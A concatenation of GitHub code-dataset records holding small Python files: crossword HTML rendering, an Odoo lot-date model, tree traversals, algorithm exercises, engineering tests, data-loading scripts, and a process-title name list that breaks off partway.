    '\n for c, cell in enumerate(row):\n classes = [ \"xdcell\" ]\n\n if cell == xdfile.BLOCK_CHAR:\n classes.append(\"block\")\n\n if compare_with:\n if cell == compare_with.cell(r, c):\n classes.append(\"match\")\n else:\n classes.append(\"diff\")\n\n grid_html += '
    ' % \" \".join(classes)\n grid_html += cell # TODO: expand rebus\n # include other mutations that would still be valid\n grid_html += '
    ' # xdcell\n grid_html += '
    ' # xdrow\n grid_html += '
    ' # xdgrid\n\n return grid_html\n\n\ndef grid_diff_html(xd, compare_with=None):\n if compare_with:\n r = mktag('div', tagclass='fullgrid')\n else:\n r = mktag('div', tagclass='fullgrid main')\n\n similarity_pct = ''\n if compare_with:\n real_pct = grid_similarity(xd, compare_with)\n if real_pct < 25:\n return ''\n\n similarity_pct = \" (%d%%)\" % real_pct\n\n xdlink = mktag('div', tagclass='xdid', inner=mkhref(\"%s %s\" % (xd.xdid(), similarity_pct), '/pub/' + xd.xdid()))\n if compare_with is not None:\n r += xdlink\n else:\n r += mktag('b', inner=xdlink)\n r += headers_to_html(xd)\n r += grid_to_html(xd, compare_with)\n\n r += '' # solution\n return r\n\n","repo_name":"century-arcade/xd","sub_path":"xdfile/html.py","file_name":"html.py","file_ext":"py","file_size_in_byte":13224,"program_lang":"python","lang":"en","doc_type":"code","stars":201,"dataset":"github-code","pt":"31"} +{"seq_id":"6570395699","text":"# -*- coding: utf-8 -*-\n\nimport datetime\nfrom odoo.exceptions import ValidationError\nfrom datetime import timedelta\nfrom odoo import api, fields, models, SUPERUSER_ID, _\n\n\n\nclass StockProductionLot(models.Model):\n _inherit = 'stock.production.lot'\n\n manufacture_date = fields.Datetime(string=\"Date of Manufacture\",required=True)\n\n @api.onchange('manufacture_date','product_id')\n def _fetch_dates(self):\n if self.manufacture_date and self.product_id:\n if self.product_id.use_time:\n self.use_date = self.manufacture_date + timedelta(days=self.product_id.use_time)\n if self.product_id.life_time:\n self.life_date = self.manufacture_date + timedelta(days=self.product_id.life_time)\n if self.product_id.removal_time:\n self.removal_date = self.manufacture_date + timedelta(days=self.product_id.removal_time)\n if self.product_id.alert_time:\n self.alert_date = self.manufacture_date + timedelta(days=self.product_id.alert_time)\n\n @api.onchange('use_date','life_date','removal_date','alert_date')\n def _validate_dates(self):\n if self.manufacture_date and self.alert_date and not self.manufacture_date < self.alert_date:\n raise ValidationError(_('Alert Date Must Be After Manufacture Date'))\n if self.alert_date and self.removal_date and not self.alert_date < self.removal_date:\n raise ValidationError(_('Removal Date Must Be After Alert Date'))\n if self.removal_date and self.use_date and not self.removal_date < self.use_date:\n raise ValidationError(_('Use Date Must Be After Removal Date'))\n if self.use_date and self.life_date and not self.use_date < self.life_date:\n raise ValidationError(_('Life Date Must Be After Removal Date'))\n if self.life_date and self.life_date <= datetime.datetime.now():\n raise ValidationError(_('Product Has Passed Expiration Date'))\n if not self.manufacture_date:\n self.use_date = self.removal_date = self.alert_date = self.life_date = False","repo_name":"krishna11174/college","sub_path":"cn_new/odoo/custom/odoov13_3/models/production_lot.py","file_name":"production_lot.py","file_ext":"py","file_size_in_byte":2101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34133300295","text":"'''\n 1\n / \\\n 2 3\n / \\ / \\\n 4 5 6 7\n \n'''\nclass Node(object):\n def __init__(self, val):\n self.val = val\n self.left = None\n self. right = None\n\nclass BinaryTree(object):\n def __init__(self, root):\n self.root = Node(root)\n \n def print_tree(self, traversal_type, root):\n if traversal_type == 'pre-order':\n print(self.preorder_traversal(root, \"\").rstrip(\" - \"))\n elif traversal_type == 'in-order':\n print(self.inorder_traversal(root, \"\").rstrip(\" - \"))\n elif traversal_type == 'post-order':\n print(self.postorder_traversal(root, \"\").rstrip(\" - \"))\n else:\n return False\n \n def preorder_traversal(self, item, traversal):\n if item:\n traversal += str(item.val) + \" - \"\n traversal = self.preorder_traversal(item.left, traversal)\n traversal = self.preorder_traversal(item.right, traversal)\n return traversal\n \n def inorder_traversal(self, item, traversal):\n if item:\n traversal = self.inorder_traversal(item.left, traversal)\n traversal += str(item.val) + \" - \"\n traversal = self.inorder_traversal(item.right, traversal)\n return traversal\n \n def postorder_traversal(self, item, traversal):\n if item:\n traversal = self.postorder_traversal(item.left, traversal)\n traversal = self.postorder_traversal(item.right, traversal)\n traversal += str(item.val) + \" - \"\n return traversal\n\n\ntree = BinaryTree(1)\ntree.root.left = Node(2)\ntree.root.right = Node(3)\ntree.root.left.left = Node(4)\ntree.root.left.right = Node(5)\ntree.root.right.left = Node(6)\ntree.root.right.right = Node(7)\n\ntree.print_tree(\"pre-order\", tree.root)\ntree.print_tree(\"in-order\", tree.root)\ntree.print_tree(\"post-order\", tree.root)\n\n","repo_name":"brinapatel/leetcode","sub_path":"Codes/Basics/binary_tree_traversals.py","file_name":"binary_tree_traversals.py","file_ext":"py","file_size_in_byte":1920,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23453023909","text":"def time_to_sec(time):\n h, m, s = map(int, time.split(\":\"))\n tmp = h * 3600 + m * 60 + s\n return tmp\n\n\ndef solution(play_time, adv_time, logs):\n play_sec = time_to_sec(play_time)\n adv_sec = time_to_sec(adv_time)\n # 맨 마지막 인덱스\n time_line = [0] * (play_sec + 1)\n for log in logs:\n log = log.split(\"-\")\n start, end = time_to_sec(log[0]), time_to_sec(log[1])\n time_line[start] += 1\n time_line[end] -= 1\n\n for i in range(1, len(time_line)):\n time_line[i] += time_line[i - 1]\n current_sum = sum(time_line[:adv_sec])\n # 맨 처음 값\n ans = [current_sum, 0]\n for j in range(adv_sec, play_sec):\n current_sum = current_sum + time_line[j] - time_line[j - adv_sec]\n if ans[0] < current_sum:\n ans[0] = current_sum\n ans[1] = j - adv_sec + 1\n ans = f\"{int(ans[1] / 3600):02d}:{int(ans[1]/60%60):02d}:{int(ans[1]%60):02d}\"\n print(ans)\n return ans\n\n\n# solution(\n# \"02:03:55\",\n# \"00:14:15\",\n# [\n# \"01:20:15-01:45:14\",\n# \"00:40:31-01:00:00\",\n# \"00:25:50-00:48:29\",\n# \"01:30:59-01:53:29\",\n# \"01:37:44-02:02:30\",\n# ],\n# )\n\nsolution(\n \"99:59:59\",\n \"25:00:00\",\n [\n \"69:59:59-89:59:59\",\n \"01:00:00-21:00:00\",\n \"79:59:59-99:59:59\",\n \"11:00:00-31:00:00\",\n ],\n)\n","repo_name":"yeoV/Algorithm","sub_path":"Programmers/kakao/2021_광고삽입.py","file_name":"2021_광고삽입.py","file_ext":"py","file_size_in_byte":1365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"17415881206","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\nfrom corr_coeff import correlation_coefficient\n\nx = np.array([8, 8, 8, 8, 8, 9, 10, 10, 10, 10, 10, 10, 14, 14, 14, 14, 15, 16, 16, 16,\n 16, 16, 4, 5, 5, 6, 8, 10, 12, 14, 16, 18, 20, 6, 8, 10, 12, 14, 16, 18, 20])\n\ny = np.array([92, 94, 96, 98, 100, 110, 110, 112, 114, 116, 118, 120, 152, 154, 156, 158, 161, 170, 172, 174,\n 176, 178, 59, 68, 70, 82, 104, 125, 144, 162, 180, 199, 220, 80, 102, 123, 142, 160, 178, 197, 218])\n\nPLOT_NAME = 'pi-day-bonus'\n\nfig, axs = plt.subplots(1, 2, figsize=(10, 5))\n\nfig.suptitle(PLOT_NAME)\nfig.canvas.set_window_title(PLOT_NAME)\n\naxs[0].set_title(\"main\")\naxs[0].scatter(x, y, color='#2472c8')\ncoef = np.polyfit(x, y, 1)\npoly1d_fn = np.poly1d(coef)\naxs[0].plot(x, poly1d_fn(x), color='#cd3131', linewidth=2)\n\ncorrelation = correlation_coefficient(x, y)\nprint(f\"correlation coefficient: {correlation}\")\ndetermination = correlation ** 2\nprint(f\"coefficient of determination: {determination}\")\n\naxs[1].set_title(\"residual plot\")\npredicted = poly1d_fn(x)\nresiduals = y - predicted\naxs[1].scatter(x, residuals, color='#2472c8')\naxs[1].plot(x, x * 0, color='#000000')\naxs[1].set_ylim([-8.5, 8.5])\n\nfig.savefig(PLOT_NAME + '.png', dpi=250,\n bbox_inches=\"tight\", pad_inches=0.25)\n\n\ndef quit_figure(event):\n \"\"\"define what will close the figure\"\"\"\n if event.key == 'q':\n plt.close(event.canvas.figure)\n\n\nprint(\"\\npress q inside plot to quit\\n\")\ncid = plt.gcf().canvas.mpl_connect('key_press_event', quit_figure)\n\nplt.show()\n","repo_name":"conjfrnk/statistics-projects","sub_path":"pi-day-bonus/bonus.py","file_name":"bonus.py","file_ext":"py","file_size_in_byte":1555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25824078595","text":"# -*- coding: utf-8 -*-\n''' Home made test.'''\nfrom __future__ import print_function\n# Computation of the stiffness of a rectangular elastomeric bearing.\n\nfrom materials import bridge_bearings\n\n__author__= \"Luis C. Pérez Tato (LCPT) and Ana Ortega (AOO)\"\n__copyright__= \"Copyright 2015, LCPT and AOO\"\n__license__= \"GPL\"\n__version__= \"3.0\"\n__email__= \"l.pereztato@gmail.com\"\n\nG= 900e3 # Elastomeric bearing shear modulus.\na= 0.3 # Width of the bearing (parallel to bridge axis).\nb= 0.3 # Length of the bearing (parallel to lintel axis).\ne= 0.002 # Net thickness of the bearing (without steel plates).\n\nneop= bridge_bearings.ElastomericBearing(G,a,b,e)\nE= neop.getEbearing()\nKv= neop.getKvert()\nKh= neop.getKhoriz()\nKrotationX= neop.getKrotationLongBridgeAxis()\nKrotationY= neop.getKrotationTransvBridgeAxis()\nKrotationZ= neop.getKrotationVerticalAxis()\n\nratio1= abs( 600000000.0-E)/ 600000000.0\nratio2= abs(27000000000.0-Kv)/27000000000.0\nratio3= abs(40500000.0-Kh)/40500000.0\nratio4= abs(956971000.0-KrotationX)/956971000.0\nratio5= abs(956972000.0-KrotationY)/956972000.0\nratio6= abs(510192.0-KrotationZ)/510192.0\n\n\n''' \nprint(\"E= \",E)\nprint(\"ratio1= \",ratio1)\nprint(\"Kv= \",Kv)\nprint(\"ratio2= \",ratio2)\nprint(\"Kh= \",Kh)\nprint(\"ratio3= \",ratio3)\nprint(\"KrotationX= \",KrotationX)\nprint(\"ratio4= \",ratio4)\nprint(\"KrotationZ= \",KrotationZ)\nprint(\"ratio5= \",ratio5)\nprint(\"KrotationY= \",KrotationY)\nprint(\"ratio6= \",ratio6)\n '''\nimport os\nfrom misc_utils import log_messages as lmsg\nfname= os.path.basename(__file__)\nif (abs(ratio1)<1e-15) & (abs(ratio2)<1e-15) & (abs(ratio3)<1e-15) & (abs(ratio4)<1e-5) & (abs(ratio5)<1e-8) & (abs(ratio6)<1e-3):\n print('test '+fname+': ok.')\nelse:\n lmsg.error(fname+' ERROR.')\n","repo_name":"xcfem/xc","sub_path":"verif/tests/materials/test_elastomeric_bearing_stiffness.py","file_name":"test_elastomeric_bearing_stiffness.py","file_ext":"py","file_size_in_byte":1716,"program_lang":"python","lang":"en","doc_type":"code","stars":196,"dataset":"github-code","pt":"31"} +{"seq_id":"2080279813","text":"from uclasmcode import equivalence_partition\nfrom uclasmcode import uclasm\nfrom uclasmcode.candidate_structure.candidate_structure import *\nfrom uclasmcode.utils import data\n\n# set up datasets\ntmplts, world = data.tim_test_graph_1()\ntmplt = tmplts[0]\ntmplt, world, candidates = uclasm.run_filters(tmplt, world,\n filters=uclasm.cheap_filters,\n verbose=False)\nequiv_classes = equivalence_partition.partition_multichannel(tmplt.ch_to_adj)\ncs = CandidateStructure(tmplt, world, candidates, equiv_classes) # cs of b0\n\n\ntmplts1, world1 = data.tim_test_graph_1(1)\ntmplt1 = tmplts1[0]\ntmplt1, world1, candidates1 = uclasm.run_filters(tmplt1, world1,\n filters=uclasm.cheap_filters,\n verbose=False)\nequiv_classes1 = equivalence_partition.partition_multichannel(tmplt1.ch_to_adj)\ncs1 = CandidateStructure(tmplt1, world1, candidates1, equiv_classes1)\n\n\ndef test_get_submatrix():\n y = np.arange(25).reshape(5, 5)\n vertices = [0, 2, 4]\n assert np.all(\n CandidateStructure._get_submatrix(y, vertices) == np.array([[0, 2, 4], [10, 12, 14], [20, 22, 24]]))\n\n\ndef test_create():\n assert cs.get_supernodes_count() == 2\n assert cs.get_template_nodes_count() == 4\n assert cs1.get_template_nodes_count() == 5\n assert cs1.get_supernodes_count() == 4\n\n\ndef test_get_supernode_by_name():\n assert cs.get_supernode_by_name('A') == cs.get_supernode_by_name('B')\n assert cs.get_supernode_by_name('C') == cs.get_supernode_by_name('D')\n assert cs1.get_supernode_by_name('A') == cs1.get_supernode_by_name('B')\n\n\ndef test_supernode_clique_and_candnode_clique():\n for sn in cs.supernodes.values():\n if not sn.is_trivial() and sn.is_clique('1'):\n print(f\"Testing {sn}\")\n assert cs.supernode_clique_and_cand_node_clique(\n sn, Supernode([0, 4])\n )\n assert not cs.supernode_clique_and_cand_node_clique(\n sn, Supernode([0, 1])\n )\n\n\ndef test_equiv_size_array():\n assert np.all(cs.equiv_size_array == np.array([2, 2, 2, 2]))\n assert np.all(cs1.equiv_size_array == np.array([2, 1, 1, 1, 2]))\n\n\ndef test_check_satisfiability():\n assert cs.check_satisfiability()\n temp = cs.candidates_array.copy()\n cs.candidates_array[0, 0] = False\n assert not cs.check_satisfiability()\n cs.candidates_array = temp\n assert cs.check_satisfiability()\n assert cs1.check_satisfiability()\n temp = cs1.candidates_array.copy()\n cs1.candidates_array[3, 3] = False\n assert not cs1.check_satisfiability()\n cs1.candidates_array = temp\n\n\ndef test_has_cand_edge():\n snA = cs.get_supernode_by_name('A')\n snC = cs.get_supernode_by_name('C')\n mA = Supernode([0, 4])\n mC = Supernode([1, 2])\n mF = Supernode([0, 1])\n assert cs.has_cand_edge((snA, mA), (snC, mC), '1')\n assert not cs.has_cand_edge((snA, mA), (snC, mF), '1')\n\n snA = cs1.get_supernode_by_name('A')\n snC = cs1.get_supernode_by_name('C') # a single (trivial) node\n snE = cs1.get_supernode_by_name('E')\n mA = Supernode([0,4])\n mC = Supernode([1])\n mA2 = Supernode([4,0])\n mC2 = Supernode(2)\n mE = Supernode(3) # node 5\n assert cs1.has_cand_edge((snA, mA), (snC, mC), '0')\n assert cs1.has_cand_edge((snA, mA2), (snC, mC2), '0')\n assert cs1.has_cand_edge((snA, mA), (snE, mE), '1')\n assert not cs1.has_cand_edge((snA, mA), (snE, mE), '0')\n\n\ndef test_superedge_multiplicity():\n snA = cs.get_supernode_by_name('A')\n snC = cs.get_supernode_by_name('C')\n assert cs.get_superedge_multiplicity(snA, snC, '1') == 1\n\n snA = cs1.get_supernode_by_name('A')\n snC = cs1.get_supernode_by_name('C') # a single (trivial) node\n assert cs1.get_superedge_multiplicity(snA, snC, '0') == 2\n assert cs1.get_superedge_multiplicity(snA, snC, '1') == 0\n\n\n\n","repo_name":"timmytonga/subgraph-matching","sub_path":"tests/test_candidate_structure.py","file_name":"test_candidate_structure.py","file_ext":"py","file_size_in_byte":3949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32321776459","text":"class Solution:\n \"\"\"\n @param nums: a non-empty array only positive integers\n @return: true if can partition or false\n \"\"\"\n def canPartition(self, nums):\n # write your code here\n '''\n 1. 和为奇数一定不行\n 2. 和为偶数,使用DP,状态矩阵为dp[i][j],代表前i个元素能否构造和j。状态转移方程如下(索引从0开始算):\n - 状态1:dp[i - 1][j - nums[i - 1]] -> dp[i][j]\n - 状态2:dp[i - 1][j] -> dp[i][j]\n '''\n nums_sum = sum(nums)\n if (nums_sum % 2) != 0:\n return False\n nums_sum = int(nums_sum / 2)\n nums_len = len(nums)\n dp = [[False] * (nums_sum + 1) for i in range(nums_len + 1)]\n for i in range(nums_len + 1):\n dp[i][0] = True # 0个元素就构造和为0\n for i in range(1, nums_len + 1):\n for j in range(1, nums_sum + 1):\n if j >= nums[i - 1]:\n dp[i][j] = dp[i - 1][j] or dp[i - 1][j - nums[i - 1]]\n else:\n dp[i][j] = dp[i - 1][j]\n return dp[nums_len][nums_sum]\n\n# medium: https://www.lintcode.com/problem/partition-equal-subset-sum/\n","repo_name":"yingl/LintCodeInPython","sub_path":"partition-equal-subset-sum.py","file_name":"partition-equal-subset-sum.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","stars":123,"dataset":"github-code","pt":"31"} +{"seq_id":"2564288990","text":"import os\n\ndir = '/home/dh/Project/Capstone/data/K562_Pointing_data/'\n\nfiles = os.listdir(dir)\n\nfor file in files:\n extension = file[-4:]\n f = file.split('_')\n try:\n result = f[2]\n os.rename(dir+file, dir+f[0]+'_'+result+extension)\n except:\n os.rename(dir+file, dir+f[0]+extension)","repo_name":"KimTaeKang57/Cellification-BackEndDev","sub_path":"AI/src/utils/name_sort.py","file_name":"name_sort.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40103263200","text":"# -*- coding: utf-8 -*-\nimport os\nimport xlrd\nimport mysqlConnect\nfrom tqdm import tqdm\n\n\n# 操作excel LCC\ndef read_excel(path):\n print(\"开始执行!\")\n for root, dirs, files in os.walk(path):\n paraArr = []\n for fileName in files:\n sqlArr = []\n file_path = root + '\\\\' + fileName\n sqlArr = open_excel(fileName, file_path)\n paraArr.extend(sqlArr)\n\n app = mysqlConnect.MysqlUtil()\n app.truncateTable('TRUNCATE TABLE list1')\n # sql = 'insert into list(fromname,fromphone,fromaddress,rename,rephone,recom,readdress,towhere,what,protect,protectprice,submittime,orderno,fromno,price,weight,type,provice) ' \\\n # 'values (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)'\n # print(len(paraArr))\n # app.batchinsertTable(sql, paraArr)\n print(\"执行结束!\")\n return 1\n\n\ndef open_excel(file_name, file_path):\n sqlArr = [] # 空数组\n file_date = file_name[:-5]\n # 打开文件\n workbook = xlrd.open_workbook(r'' + file_path + '')\n # 获取所有sheet\n all_sheet = workbook.sheet_names()\n for sheet_name in tqdm(all_sheet):\n # print(sheet_name)\n # 根据sheet索引或者名称获取sheet内容\n sheet = workbook.sheet_by_name(sheet_name)\n # print(sheet.nrows)\n for index in range(0, sheet.nrows):\n if index == 0:\n continue\n # if index == sheet.nrows-1:\n # continue\n print('-- '+str(index))\n row_data = sheet.row_values(index)\n # id = str(int(row_data[0]))\n if type(row_data[13]) == float:\n orderno = str(int(row_data[13]))\n else:\n orderno = row_data[13]\n if type(row_data[0]) == float:\n fromname = str(int(row_data[0]))\n else:\n fromname = row_data[0]\n sql = 'insert into list1(order_no, name) values (\"' + orderno + '\", \"' + fromname + '\");'\n print(sql)\n # sqlArr.append(dataarr)\n # else:\n # for index, sheet_row in enumerate(sheet.get_rows()):\n # if index == 0:\n # continue\n # rows = sheet_row\n # t_menu = rows[0].value\n # t_count = int(rows[1].value)\n # dataarr = ['' + t_menu + '', t_count, '' + sheet_name + '', '' + file_date + '']\n # sqlArr.append(dataarr)\n\n\n\n return sqlArr\n\n\nif __name__ == '__main__':\n path = 'D:\\\\ems'\n read_excel(path)\n\n","repo_name":"congliucong/excel","sub_path":"readexcel.py","file_name":"readexcel.py","file_ext":"py","file_size_in_byte":2524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"4695554466","text":"# Author: Jochen Gast \n\nimport random\n\nimport setproctitle as spt\n\nLIST_OF_TITLES = [\n \"Anu'arak\",\n \"Edward d'Eath'\",\n \"Gul'dan\",\n \"Jaqen H'ghar\",\n \"Kael'thas\",\n \"Kel'Thuzad\",\n \"Mal'Ganis\",\n 'Aang',\n 'Abathur',\n 'Abattâri',\n 'Aberforth',\n 'Adalgrim',\n 'Adanedhel',\n 'Adanel',\n 'Admiral Crustacius',\n 'Adrahil II',\n 'Adûnakhôr',\n 'Aegnor',\n 'Agarwaen',\n 'Aikanáro',\n 'Aiwendil',\n 'Alastor',\n 'Alatar',\n 'Alatáriel',\n 'Albus',\n 'Alcarin',\n 'Aldamir',\n 'Aldarion',\n 'Aldaron',\n 'Alecto',\n 'Alexstrasza',\n 'Alfred',\n 'Alicia',\n 'Amadeus',\n 'Amandil',\n 'Amelia',\n 'Amlaith',\n 'Amras',\n 'Amroth',\n 'Amrothos',\n 'Amycus',\n 'Anairë',\n 'Anardil',\n 'Ancalagon',\n 'Ancalimon',\n 'Ancalimë',\n 'Andariel',\n 'Andreth',\n 'Andromeda',\n 'Andróg',\n 'Anducal',\n 'Anfauglir',\n 'Angelina',\n 'Angrod',\n 'Annatar',\n 'Anthony',\n 'Antioch',\n 'Antonin',\n 'Anárion',\n 'Apollo',\n 'Aquila',\n 'Arabella',\n 'Arador',\n 'Araglas',\n 'Aragorn',\n 'Aragost',\n 'Arahad II',\n 'Arahael',\n 'Aranarth',\n 'Arantar',\n 'Aranuir',\n 'Araphant',\n 'Araphor',\n 'Arassuil',\n 'Aratan',\n 'Aratar',\n 'Arathorn I',\n 'Araval',\n 'Aravir',\n 'Aravorn',\n 'Ardamin',\n 'Aredhel',\n 'Argeleb II',\n 'Argon',\n 'Argonui',\n 'Argus',\n 'Arien',\n 'Arthedain',\n 'Arthur',\n 'Arvedui',\n 'Arvegil',\n 'Arveleg I',\n 'Arwen',\n 'Arya',\n 'Asfaloth',\n 'Asterix',\n 'Astronomix',\n 'Atanamir',\n 'Atanatar I',\n 'Augusta',\n 'Augustus',\n 'Aulë',\n 'Auriel',\n 'Auriga',\n 'Aurora',\n 'Ausir',\n 'Avranc',\n 'Azaghâl',\n 'Azmodan',\n 'Azula',\n 'Balbo',\n 'Baldor',\n 'Balin',\n 'Baragund',\n 'Barahir'\n 'Bard the Bowman',\n 'Barliman',\n 'Bartemius',\n 'Bastian Balthazar Bux',\n 'Bathilda',\n 'Bauglir',\n 'Belecthor II',\n 'Beleg of Arnor',\n 'Belegorn',\n 'Belegund',\n 'Belemir',\n 'Belial',\n 'Belladonna',\n 'Bellatrix',\n 'Benjen',\n 'Beorn',\n 'Beregond',\n 'Bergil',\n 'Bertha',\n 'Berylla',\n 'Berúthiel',\n 'Bifur',\n 'Bilbo',\n 'Bill Ferny',\n 'Bill the Pony',\n 'Bill the Troll',\n 'Blade of the Warlord',\n 'Boaty McBoatface',\n 'Boldog',\n 'Bombur',\n 'Boromir',\n 'Brandir',\n 'Bregolas',\n 'Bregor',\n 'Brienne of Tarth',\n 'Bryce the King of Spice',\n 'Bullroarer',\n 'Caius Fatuous',\n 'Caldean Sword',\n 'Calembel',\n 'Calimehtar',\n 'Calion',\n 'Calmacil',\n 'Capricornus',\n 'Caranthir',\n 'Carcharoth',\n 'Carl Conrad Coreander',\n 'Cassia',\n 'Cassivellaunus',\n 'Castamir',\n 'Celeborn',\n 'Celebrindor',\n 'Celebrían',\n 'Celegorm',\n 'Celepharn',\n 'Cemendur',\n 'Ceorl',\n 'Cepheus',\n 'Cersei',\n 'Chief Vitalstatistix',\n 'Cirion',\n 'Ciryaher',\n 'Ciryandil',\n 'Ciryatan',\n 'Ciryon',\n 'Claudi',\n 'Cleopatra',\n 'Colin',\n 'Cormac',\n 'Cornelius',\n 'Corona',\n 'Corvus',\n 'Curufin',\n 'Curunír',\n 'Cuthbert',\n 'Cygnus',\n 'Círdan',\n 'Daario Naharis',\n 'Daenerys',\n 'Daeron',\n 'Davos',\n 'Dawlish',\n 'Deckard Cain',\n 'Dedalus',\n 'Deep Thought',\n 'Delphinus',\n 'Demelza',\n 'Denethor I',\n 'Dernhelm',\n 'Deórwine',\n 'Diablo',\n 'Didactylos',\n 'Dobby',\n 'Dogmatix',\n 'Dolores',\n 'Dorlas',\n 'Doughnut Jimmy',\n 'Dr Dan Streetmentioner',\n 'Draco',\n 'Draugluin',\n 'Duilin',\n 'Duriel',\n 'Durin',\n 'Dwalin',\n 'Dáin II Ironfoot',\n 'Déagol',\n 'Déor',\n 'Ecthelion of the Fountain',\n 'Eddard',\n 'Effrafax of Wug',\n 'Egalmoth',\n 'Eilinel',\n 'Elanor the Fair',\n 'Elbereth',\n 'Eldacar of Gondor',\n 'Eldarion',\n 'Elemmakil',\n 'Elendil',\n 'Elendor',\n 'Elendur of Arnor',\n 'Elendur, Son of Isildur',\n 'Elenna',\n 'Elessar',\n 'Elfhelm',\n 'Elfhild',\n 'Elfwine',\n 'Elladan',\n 'Ellaria',\n 'Elphias',\n 'Elrohir',\n 'Elrond',\n 'Elros',\n 'Eluréd',\n 'Elurín',\n 'Elven-king',\n 'Elwing',\n 'Elwë',\n 'Emeldir',\n 'Emerië',\n 'Emmeline',\n 'Enelyë',\n 'Eradan',\n 'Erendis',\n 'Erestor',\n 'Eridanus',\n 'Erkenbrand',\n 'Eru Ilúvatar',\n 'Estelmo',\n 'Eärendil of Gondor',\n 'Eärendil',\n 'Eärendur of Andúnië',\n 'Eärnil I',\n 'Eärnur',\n 'Eärwen',\n 'Eönwë',\n 'Falassion',\n 'Fangorn',\n 'Faramir',\n 'Fastred of Greenholm',\n 'Felaróf',\n 'Female hobbits',\n 'Fenix',\n 'Fenrir',\n 'Ferny, Bill',\n 'Ferumbras III',\n 'Filius',\n 'Finarfin',\n 'Finduilas of Dol Amroth',\n 'Finduilas',\n 'Fingolfin',\n 'Finrod Felagund',\n 'Finvain',\n 'Finwë',\n 'Fladrif',\n 'Fleur',\n 'Folcwine',\n 'Forlong the Fat',\n 'Fortinbras II',\n 'Frank the Tank',\n 'Fredegar',\n 'Frerin',\n 'Frodo',\n 'Fréaláf Hildeson',\n 'Fréawine',\n 'Fuchur',\n 'Fuinur',\n 'Fulliautomatix',\n 'Fundin',\n 'Fëanor',\n 'Fíriel',\n 'Gabrielle',\n 'Galador',\n 'Galadriel',\n 'Galdor of Gondolin',\n 'Galdor of the Havens',\n 'Galdor the Tall',\n 'Gamil Zirak',\n 'Gamling',\n 'Gandalf',\n 'Garrick',\n 'Garrosh',\n 'Gellert',\n 'Gemini',\n 'Geoffrey',\n 'Geriatrix',\n 'Gerontius',\n 'GhânburiGhân',\n 'Gilderoy',\n 'Gildor Inglorion',\n 'Gilgalad',\n 'Gilrain',\n 'Gimilkhâd',\n 'Gimilzôr',\n 'Gimli',\n 'Ginglith',\n 'Girion',\n 'Glanhír',\n 'Glaurung',\n 'Glorfindel',\n 'Gluteus Maximus',\n 'Glóin',\n 'Glóredhel',\n 'Godric',\n 'Goldberry',\n 'Goldwine',\n 'Golfimbul',\n 'Gollum',\n 'Googleplex Starthinker',\n 'Gorbag',\n 'Gorlim',\n 'Gormadoc',\n 'Gorthaur',\n 'Gothmog',\n 'Goyle',\n 'Gracchus Armisurplus',\n 'Graham',\n 'Grand Maester Pycelle',\n 'Gregorovitch',\n 'Gregory',\n 'Grimbold',\n 'Griselda',\n 'Grishnákh',\n 'Grunthos the Flatulent',\n 'Guybrush Threepwood',\n 'Gwaihir',\n 'Gwathir',\n 'Gwindor',\n 'Halbarad',\n 'Haldir of Lórien',\n 'Haleth',\n 'Hallas',\n 'Halmir',\n 'Handir',\n 'Hanzo',\n 'Hardang',\n 'Hareth',\n 'Helena',\n 'Helga',\n 'Helm Hammerhand',\n 'Hephaestus',\n 'Hepzibah',\n 'Herion',\n 'Hermione',\n 'Herucalmo',\n 'Herumor',\n 'Herunúmen',\n 'Hirgon',\n 'Hiril',\n 'Horace',\n 'Hostamir',\n 'Hyarmendacil I',\n 'Hydra',\n 'Húrin the Tall',\n 'Idril',\n 'Ignotus',\n 'Ilmarë',\n 'Ilúvatar',\n 'Iminyë',\n 'Imperius',\n 'Imrahil',\n 'Inglor',\n 'Ingwë',\n 'Inziladûn',\n 'Inzilbêth',\n 'Irimë',\n 'Iroh',\n 'Isabella',\n 'Isildur',\n 'Isilmo',\n 'Isilmë',\n 'Isumbras',\n 'Ivriniel',\n 'Izual',\n 'Jenny from the block',\n 'Katara',\n 'Kerrigan',\n 'Khamûl',\n 'Kharazim',\n 'Khîm',\n 'Kingsley',\n 'Kíli',\n 'Lady Cynthy Fitzmelton',\n 'Lady Tedwina Slowsby',\n 'Lagduf',\n 'Lalaith',\n 'Lavender',\n 'Legolas',\n 'Lenwë',\n 'Leonard of Quirm',\n 'Lin Beifong',\n 'Lindir',\n 'Lobelia',\n 'Lotho',\n 'Lothíriel',\n 'Lt. Morales',\n 'Lucius',\n 'Lugdush',\n 'Luna',\n 'Lunara',\n 'Léod',\n 'Léofa',\n 'Lúthien',\n 'Mablung',\n 'Maedhros',\n 'Maeglin',\n 'Maester Luwin',\n 'Mafalda',\n 'Maggot',\n 'Maglor',\n 'Magnumopus',\n 'Magor',\n 'Mahtan',\n 'Maiar',\n 'Maiev',\n 'Malbeth the Seer',\n 'Malfurion',\n 'Malthael',\n 'Malvegil',\n 'Manthor',\n 'Manwë',\n 'Mardil Voronwë',\n 'Margaery',\n 'Margarethe',\n 'Marietta',\n 'Marjorie',\n 'Marvolo',\n 'Mauhúr',\n 'Medivh',\n 'Meleth',\n 'Melian',\n 'Melisandre',\n 'Meneldil',\n 'Meneldur, Tar',\n 'Mephisto',\n 'Mephistopheles',\n 'Meriadoc Brandybuck',\n 'Merope',\n 'Millicent',\n 'Minalcar',\n 'Minardil',\n 'Minastir',\n 'Minerva',\n 'Minyatur',\n 'Mithrandir',\n 'Morgoth',\n 'Morpheus',\n 'Morwen Steelsheen',\n 'Morwen',\n 'Mr. Shmarty Pants',\n 'Muffin Man',\n 'Mundungus',\n 'Muradin',\n 'Muzgash',\n 'Myrtle',\n 'Míriel Arzimraphel',\n 'Míriel Serindë',\n 